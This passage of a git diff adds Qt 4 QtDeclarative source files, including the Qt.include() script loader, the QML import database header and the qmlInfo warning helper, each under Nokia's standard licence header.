+ if (!engineInitialized) {
+ // things on the engine (eg. adding new global objects) have to be done for every engine.
+
+ // protect against double initialization
+ initializedPlugins.insert(absoluteFilePath);
+ iface->initializeEngine(engine, moduleId);
+ }
+ } else {
+ if (errorString)
+ *errorString = loader.errorString();
+ return false;
+ }
+ }
+
+ return true;
+#else
+ return false;
+#endif
+}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeimport_p.h b/src/declarative/qml/qdeclarativeimport_p.h
new file mode 100644
index 00000000..33061d6a
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeimport_p.h
@@ -0,0 +1,144 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMPORT_P_H
+#define QDECLARATIVEIMPORT_P_H
+
+#include <QtCore/qurl.h>
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qset.h>
+#include <private/qdeclarativedirparser_p.h>
+#include <private/qdeclarativescriptparser_p.h>
+#include <private/qdeclarativemetatype_p.h>
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeTypeNameCache;
+class QDeclarativeEngine;
+class QDir;
+class QDeclarativeImportedNamespace;
+class QDeclarativeImportsPrivate;
+class QDeclarativeImportDatabase;
+class QDeclarativeTypeLoader;
+
+class QDeclarativeImports
+{
+public:
+ QDeclarativeImports();
+ QDeclarativeImports(QDeclarativeTypeLoader *);
+ QDeclarativeImports(const QDeclarativeImports &);
+ ~QDeclarativeImports();
+ QDeclarativeImports &operator=(const QDeclarativeImports &);
+
+ void setBaseUrl(const QUrl &url);
+ QUrl baseUrl() const;
+
+ bool resolveType(const QByteArray& type,
+ QDeclarativeType** type_return, QUrl* url_return,
+ int *version_major, int *version_minor,
+ QDeclarativeImportedNamespace** ns_return,
+ QString *errorString = 0) const;
+ bool resolveType(QDeclarativeImportedNamespace*,
+ const QByteArray& type,
+ QDeclarativeType** type_return, QUrl* url_return,
+ int *version_major, int *version_minor) const;
+
+ bool addImport(QDeclarativeImportDatabase *,
+ const QString& uri, const QString& prefix, int vmaj, int vmin,
+ QDeclarativeScriptParser::Import::Type importType,
+ const QDeclarativeDirComponents &qmldircomponentsnetwork,
+ QString *errorString);
+
+ void populateCache(QDeclarativeTypeNameCache *cache, QDeclarativeEngine *) const;
+
+private:
+ friend class QDeclarativeImportDatabase;
+ QDeclarativeImportsPrivate *d;
+};
+
+class QDeclarativeImportDatabase
+{
+ Q_DECLARE_TR_FUNCTIONS(QDeclarativeImportDatabase)
+public:
+ QDeclarativeImportDatabase(QDeclarativeEngine *);
+ ~QDeclarativeImportDatabase();
+
+ bool importPlugin(const QString &filePath, const QString &uri, QString *errorString);
+
+ QStringList importPathList() const;
+ void setImportPathList(const QStringList &paths);
+ void addImportPath(const QString& dir);
+
+ QStringList pluginPathList() const;
+ void setPluginPathList(const QStringList &paths);
+ void addPluginPath(const QString& path);
+
+private:
+ friend class QDeclarativeImportsPrivate;
+ QString resolvePlugin(const QDir &qmldirPath, const QString &qmldirPluginPath,
+ const QString &baseName, const QStringList &suffixes,
+ const QString &prefix = QString());
+ QString resolvePlugin(const QDir &qmldirPath, const QString &qmldirPluginPath,
+ const QString &baseName);
+
+
+ QStringList filePluginPath;
+ QStringList fileImportPath;
+
+ QSet<QString> initializedPlugins;
+ QDeclarativeEngine *engine;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEIMPORT_P_H
+
diff --git a/src/declarative/qml/qdeclarativeinclude.cpp b/src/declarative/qml/qdeclarativeinclude.cpp
new file mode 100644
index 00000000..d02143bc
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeinclude.cpp
@@ -0,0 +1,310 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeinclude_p.h"
+
+#include <QtScript/qscriptengine.h>
+#include <QtNetwork/qnetworkrequest.h>
+#include <QtNetwork/qnetworkreply.h>
+#include <QtCore/qfile.h>
+
+#include <private/qdeclarativeengine_p.h>
+#include <private/qdeclarativeglobalscriptclass_p.h>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeInclude::QDeclarativeInclude(const QUrl &url,
+ QDeclarativeEngine *engine,
+ QScriptContext *ctxt)
+: QObject(engine), m_engine(engine), m_network(0), m_reply(0), m_url(url), m_redirectCount(0)
+{
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ m_context = ep->contextClass->contextFromValue(QScriptDeclarativeClass::scopeChainValue(ctxt, -3));
+
+ m_scope[0] = QScriptDeclarativeClass::scopeChainValue(ctxt, -4);
+ m_scope[1] = QScriptDeclarativeClass::scopeChainValue(ctxt, -5);
+
+ m_scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+ m_network = QDeclarativeScriptEngine::get(m_scriptEngine)->networkAccessManager();
+
+ m_result = resultValue(m_scriptEngine);
+
+ QNetworkRequest request;
+ request.setUrl(url);
+
+ m_reply = m_network->get(request);
+ QObject::connect(m_reply, SIGNAL(finished()), this, SLOT(finished()));
+}
+
+QDeclarativeInclude::~QDeclarativeInclude()
+{
+ delete m_reply;
+}
+
+QScriptValue QDeclarativeInclude::resultValue(QScriptEngine *engine, Status status)
+{
+ QScriptValue result = engine->newObject();
+ result.setProperty(QLatin1String("OK"), QScriptValue(engine, Ok));
+ result.setProperty(QLatin1String("LOADING"), QScriptValue(engine, Loading));
+ result.setProperty(QLatin1String("NETWORK_ERROR"), QScriptValue(engine, NetworkError));
+ result.setProperty(QLatin1String("EXCEPTION"), QScriptValue(engine, Exception));
+
+ result.setProperty(QLatin1String("status"), QScriptValue(engine, status));
+ return result;
+}
+
+QScriptValue QDeclarativeInclude::result() const
+{
+ return m_result;
+}
+
+void QDeclarativeInclude::setCallback(const QScriptValue &c)
+{
+ m_callback = c;
+}
+
+QScriptValue QDeclarativeInclude::callback() const
+{
+ return m_callback;
+}
+
+#define INCLUDE_MAXIMUM_REDIRECT_RECURSION 15
+void QDeclarativeInclude::finished()
+{
+ m_redirectCount++;
+
+ if (m_redirectCount < INCLUDE_MAXIMUM_REDIRECT_RECURSION) {
+ QVariant redirect = m_reply->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (redirect.isValid()) {
+ m_url = m_url.resolved(redirect.toUrl());
+ delete m_reply;
+
+ QNetworkRequest request;
+ request.setUrl(m_url);
+
+ m_reply = m_network->get(request);
+ QObject::connect(m_reply, SIGNAL(finished()), this, SLOT(finished()));
+ return;
+ }
+ }
+
+ if (m_reply->error() == QNetworkReply::NoError) {
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(m_engine);
+
+ QByteArray data = m_reply->readAll();
+
+ QString code = QString::fromUtf8(data);
+
+ QString urlString = m_url.toString();
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(m_scriptEngine);
+ scriptContext->pushScope(ep->contextClass->newUrlContext(m_context, 0, urlString));
+ scriptContext->pushScope(m_scope[0]);
+
+ scriptContext->pushScope(m_scope[1]);
+ scriptContext->setActivationObject(m_scope[1]);
+ QDeclarativeScriptParser::extractPragmas(code);
+
+ m_scriptEngine->evaluate(code, urlString, 1);
+
+ m_scriptEngine->popContext();
+
+ if (m_scriptEngine->hasUncaughtException()) {
+ m_result.setProperty(QLatin1String("status"), QScriptValue(m_scriptEngine, Exception));
+ m_result.setProperty(QLatin1String("exception"), m_scriptEngine->uncaughtException());
+ m_scriptEngine->clearExceptions();
+ } else {
+ m_result.setProperty(QLatin1String("status"), QScriptValue(m_scriptEngine, Ok));
+ }
+ } else {
+ m_result.setProperty(QLatin1String("status"), QScriptValue(m_scriptEngine, NetworkError));
+ }
+
+ callback(m_scriptEngine, m_callback, m_result);
+
+ disconnect();
+ deleteLater();
+}
+
+void QDeclarativeInclude::callback(QScriptEngine *engine, QScriptValue &callback, QScriptValue &status)
+{
+ if (callback.isValid()) {
+ QScriptValue args = engine->newArray(1);
+ args.setProperty(0, status);
+ callback.call(QScriptValue(), args);
+ }
+}
+
+/*
+ Documented in qdeclarativeengine.cpp
+*/
+QScriptValue QDeclarativeInclude::include(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if (ctxt->argumentCount() == 0)
+ return engine->undefinedValue();
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ QUrl contextUrl = ep->contextClass->urlFromValue(QScriptDeclarativeClass::scopeChainValue(ctxt, -3));
+ if (contextUrl.isEmpty())
+ return ctxt->throwError(QLatin1String("Qt.include(): Can only be called from JavaScript files"));
+
+ QString urlString = ctxt->argument(0).toString();
+ QUrl url(urlString);
+ if (url.isRelative()) {
+ url = QUrl(contextUrl).resolved(url);
+ urlString = url.toString();
+ }
+
+ QString localFile = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url);
+
+ QScriptValue func = ctxt->argument(1);
+ if (!func.isFunction())
+ func = QScriptValue();
+
+ QScriptValue result;
+ if (localFile.isEmpty()) {
+ QDeclarativeInclude *i =
+ new QDeclarativeInclude(url, QDeclarativeEnginePrivate::getEngine(engine), ctxt);
+
+ if (func.isValid())
+ i->setCallback(func);
+
+ result = i->result();
+ } else {
+
+ QFile f(localFile);
+ if (f.open(QIODevice::ReadOnly)) {
+ QByteArray data = f.readAll();
+ QString code = QString::fromUtf8(data);
+
+ QDeclarativeContextData *context =
+ ep->contextClass->contextFromValue(QScriptDeclarativeClass::scopeChainValue(ctxt, -3));
+
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(engine);
+ scriptContext->pushScope(ep->contextClass->newUrlContext(context, 0, urlString));
+ scriptContext->pushScope(ep->globalClass->staticGlobalObject());
+ QScriptValue scope = QScriptDeclarativeClass::scopeChainValue(ctxt, -5);
+ scriptContext->pushScope(scope);
+ scriptContext->setActivationObject(scope);
+ QDeclarativeScriptParser::extractPragmas(code);
+
+ engine->evaluate(code, urlString, 1);
+
+ engine->popContext();
+
+ if (engine->hasUncaughtException()) {
+ result = resultValue(engine, Exception);
+ result.setProperty(QLatin1String("exception"), engine->uncaughtException());
+ engine->clearExceptions();
+ } else {
+ result = resultValue(engine, Ok);
+ }
+ callback(engine, func, result);
+ } else {
+ result = resultValue(engine, NetworkError);
+ callback(engine, func, result);
+ }
+ }
+
+ return result;
+}
+
+QScriptValue QDeclarativeInclude::worker_include(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if (ctxt->argumentCount() == 0)
+ return engine->undefinedValue();
+
+ QString urlString = ctxt->argument(0).toString();
+ QUrl url(ctxt->argument(0).toString());
+ if (url.isRelative()) {
+ QString contextUrl = QScriptDeclarativeClass::scopeChainValue(ctxt, -3).data().toString();
+ Q_ASSERT(!contextUrl.isEmpty());
+
+ url = QUrl(contextUrl).resolved(url);
+ urlString = url.toString();
+ }
+
+ QString localFile = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url);
+
+ QScriptValue func = ctxt->argument(1);
+ if (!func.isFunction())
+ func = QScriptValue();
+
+ QScriptValue result;
+ if (!localFile.isEmpty()) {
+
+ QFile f(localFile);
+ if (f.open(QIODevice::ReadOnly)) {
+ QByteArray data = f.readAll();
+ QString code = QString::fromUtf8(data);
+
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(engine);
+ QScriptValue urlContext = engine->newObject();
+ urlContext.setData(QScriptValue(engine, urlString));
+ scriptContext->pushScope(urlContext);
+
+ QScriptValue scope = QScriptDeclarativeClass::scopeChainValue(ctxt, -4);
+ scriptContext->pushScope(scope);
+ scriptContext->setActivationObject(scope);
+ QDeclarativeScriptParser::extractPragmas(code);
+
+ engine->evaluate(code, urlString, 1);
+
+ engine->popContext();
+
+ if (engine->hasUncaughtException()) {
+ result = resultValue(engine, Exception);
+ result.setProperty(QLatin1String("exception"), engine->uncaughtException());
+ engine->clearExceptions();
+ } else {
+ result = resultValue(engine, Ok);
+ }
+ callback(engine, func, result);
+ } else {
+ result = resultValue(engine, NetworkError);
+ callback(engine, func, result);
+ }
+ }
+
+ return result;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeinclude_p.h b/src/declarative/qml/qdeclarativeinclude_p.h
new file mode 100644
index 00000000..d92a9dda
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeinclude_p.h
@@ -0,0 +1,115 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEINCLUDE_P_H
+#define QDECLARATIVEINCLUDE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qobject.h>
+#include <QtCore/qurl.h>
+#include <QtScript/qscriptvalue.h>
+
+#include <private/qdeclarativecontext_p.h>
+#include <private/qdeclarativeguard_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QScriptContext;
+class QScriptEngine;
+class QNetworkAccessManager;
+class QNetworkReply;
+class QDeclarativeInclude : public QObject
+{
+ Q_OBJECT
+public:
+ enum Status {
+ Ok = 0,
+ Loading = 1,
+ NetworkError = 2,
+ Exception = 3
+ };
+
+ QDeclarativeInclude(const QUrl &, QDeclarativeEngine *, QScriptContext *ctxt);
+ ~QDeclarativeInclude();
+
+ void setCallback(const QScriptValue &);
+ QScriptValue callback() const;
+
+ QScriptValue result() const;
+
+ static QScriptValue resultValue(QScriptEngine *, Status status = Loading);
+ static void callback(QScriptEngine *, QScriptValue &callback, QScriptValue &status);
+
+ static QScriptValue include(QScriptContext *ctxt, QScriptEngine *engine);
+ static QScriptValue worker_include(QScriptContext *ctxt, QScriptEngine *engine);
+
+public slots:
+ void finished();
+
+private:
+ QDeclarativeEngine *m_engine;
+ QScriptEngine *m_scriptEngine;
+ QNetworkAccessManager *m_network;
+ QDeclarativeGuard<QNetworkReply> m_reply;
+
+ QUrl m_url;
+ int m_redirectCount;
+ QScriptValue m_callback;
+ QScriptValue m_result;
+ QDeclarativeGuardedContextData m_context;
+ QScriptValue m_scope[2];
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEINCLUDE_P_H
+
diff --git a/src/declarative/qml/qdeclarativeinfo.cpp b/src/declarative/qml/qdeclarativeinfo.cpp
new file mode 100644
index 00000000..52268b79
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeinfo.cpp
@@ -0,0 +1,179 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeinfo.h"
+
+#include "private/qdeclarativedata_p.h"
+#include "qdeclarativecontext.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativemetatype_p.h"
+#include "private/qdeclarativeengine_p.h"
+
+#include <QCoreApplication>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \fn QDeclarativeInfo qmlInfo(const QObject *object)
+ \relates QDeclarativeEngine
+
+ Prints warning messages that include the file and line number for the
+ specified QML \a object.
+
+ When QML types display warning messages, it improves traceability
+ if they include the QML file and line number on which the
+ particular instance was instantiated.
+
+ To include the file and line number, an object must be passed. If
+ the file and line number is not available for that instance
+ (either it was not instantiated by the QML engine or location
+ information is disabled), "unknown location" will be used instead.
+
+ For example,
+
+ \code
+ qmlInfo(object) << tr("component property is a write-once property");
+ \endcode
+
+ prints
+
+ \code
+ QML MyCustomType (unknown location): component property is a write-once property
+ \endcode
+*/
+
+class QDeclarativeInfoPrivate
+{
+public:
+ QDeclarativeInfoPrivate() : ref (1), object(0) {}
+
+ int ref;
+ const QObject *object;
+ QString buffer;
+ QList<QDeclarativeError> errors;
+};
+
+QDeclarativeInfo::QDeclarativeInfo(QDeclarativeInfoPrivate *p)
+: QDebug(&p->buffer), d(p)
+{
+ nospace();
+}
+
+QDeclarativeInfo::QDeclarativeInfo(const QDeclarativeInfo &other)
+: QDebug(other), d(other.d)
+{
+ d->ref++;
+}
+
+QDeclarativeInfo::~QDeclarativeInfo()
+{
+ if (0 == --d->ref) {
+ QList<QDeclarativeError> errors = d->errors;
+
+ QDeclarativeEngine *engine = 0;
+
+ if (!d->buffer.isEmpty()) {
+ QDeclarativeError error;
+
+ QObject *object = const_cast<QObject *>(d->object);
+
+ if (object) {
+ engine = qmlEngine(d->object);
+ QString typeName;
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(object->metaObject());
+ if (type) {
+ typeName = QLatin1String(type->qmlTypeName());
+ int lastSlash = typeName.lastIndexOf(QLatin1Char('/'));
+ if (lastSlash != -1)
+ typeName = typeName.mid(lastSlash+1);
+ } else {
+ typeName = QString::fromUtf8(object->metaObject()->className());
+ int marker = typeName.indexOf(QLatin1String("_QMLTYPE_"));
+ if (marker != -1)
+ typeName = typeName.left(marker);
+ }
+
+ d->buffer.prepend(QLatin1String("QML ") + typeName + QLatin1String(": "));
+
+ QDeclarativeData *ddata = QDeclarativeData::get(object, false);
+ if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) {
+ error.setUrl(ddata->outerContext->url);
+ error.setLine(ddata->lineNumber);
+ error.setColumn(ddata->columnNumber);
+ }
+ }
+
+ error.setDescription(d->buffer);
+
+ errors.prepend(error);
+ }
+
+ QDeclarativeEnginePrivate::warning(engine, errors);
+
+ delete d;
+ }
+}
+
+QDeclarativeInfo qmlInfo(const QObject *me)
+{
+ QDeclarativeInfoPrivate *d = new QDeclarativeInfoPrivate;
+ d->object = me;
+ return QDeclarativeInfo(d);
+}
+
+QDeclarativeInfo qmlInfo(const QObject *me, const QDeclarativeError &error)
+{
+ QDeclarativeInfoPrivate *d = new QDeclarativeInfoPrivate;
+ d->object = me;
+ d->errors << error;
+ return QDeclarativeInfo(d);
+}
+
+QDeclarativeInfo qmlInfo(const QObject *me, const QList<QDeclarativeError> &errors)
+{
+ QDeclarativeInfoPrivate *d = new QDeclarativeInfoPrivate;
+ d->object = me;
+ d->errors = errors;
+ return QDeclarativeInfo(d);
+}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeinfo.h b/src/declarative/qml/qdeclarativeinfo.h
new file mode 100644
index 00000000..e97d8412
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeinfo.h
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEINFO_H
+#define QDECLARATIVEINFO_H
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qurl.h>
+#include <QtDeclarative/qdeclarativeerror.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeInfoPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeInfo : public QDebug
+{
+public:
+ QDeclarativeInfo(const QDeclarativeInfo &);
+ ~QDeclarativeInfo();
+
+ inline QDeclarativeInfo &operator<<(QChar t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(QBool t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(bool t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(char t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(signed short t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(unsigned short t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(signed int t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(unsigned int t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(signed long t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(unsigned long t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(qint64 t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(quint64 t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(float t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(double t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(const char* t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(const QString & t) { QDebug::operator<<(t.toLocal8Bit().constData()); return *this; }
+ inline QDeclarativeInfo &operator<<(const QStringRef & t) { return operator<<(t.toString()); }
+ inline QDeclarativeInfo &operator<<(const QLatin1String &t) { QDebug::operator<<(t.latin1()); return *this; }
+ inline QDeclarativeInfo &operator<<(const QByteArray & t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(const void * t) { QDebug::operator<<(t); return *this; }
+ inline QDeclarativeInfo &operator<<(QTextStreamFunction f) { QDebug::operator<<(f); return *this; }
+ inline QDeclarativeInfo &operator<<(QTextStreamManipulator m) { QDebug::operator<<(m); return *this; }
+#ifndef QT_NO_DEBUG_STREAM
+ inline QDeclarativeInfo &operator<<(const QUrl &t) { static_cast<QDebug &>(*this) << t; return *this; }
+#endif
+
+private:
+ friend Q_DECLARATIVE_EXPORT QDeclarativeInfo qmlInfo(const QObject *me);
+ friend Q_DECLARATIVE_EXPORT QDeclarativeInfo qmlInfo(const QObject *me, const QDeclarativeError &error);
+ friend Q_DECLARATIVE_EXPORT QDeclarativeInfo qmlInfo(const QObject *me, const QList<QDeclarativeError> &errors);
+
+ QDeclarativeInfo(QDeclarativeInfoPrivate *);
+ QDeclarativeInfoPrivate *d;
+};
+
+Q_DECLARATIVE_EXPORT QDeclarativeInfo qmlInfo(const QObject *me);
+Q_DECLARATIVE_EXPORT QDeclarativeInfo qmlInfo(const QObject *me, const QDeclarativeError &error);
+Q_DECLARATIVE_EXPORT QDeclarativeInfo qmlInfo(const QObject *me, const QList<QDeclarativeError> &errors);
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEINFO_H
diff --git a/src/declarative/qml/qdeclarativeinstruction.cpp b/src/declarative/qml/qdeclarativeinstruction.cpp
new file mode 100644
index 00000000..aaa87981
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeinstruction.cpp
@@ -0,0 +1,230 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
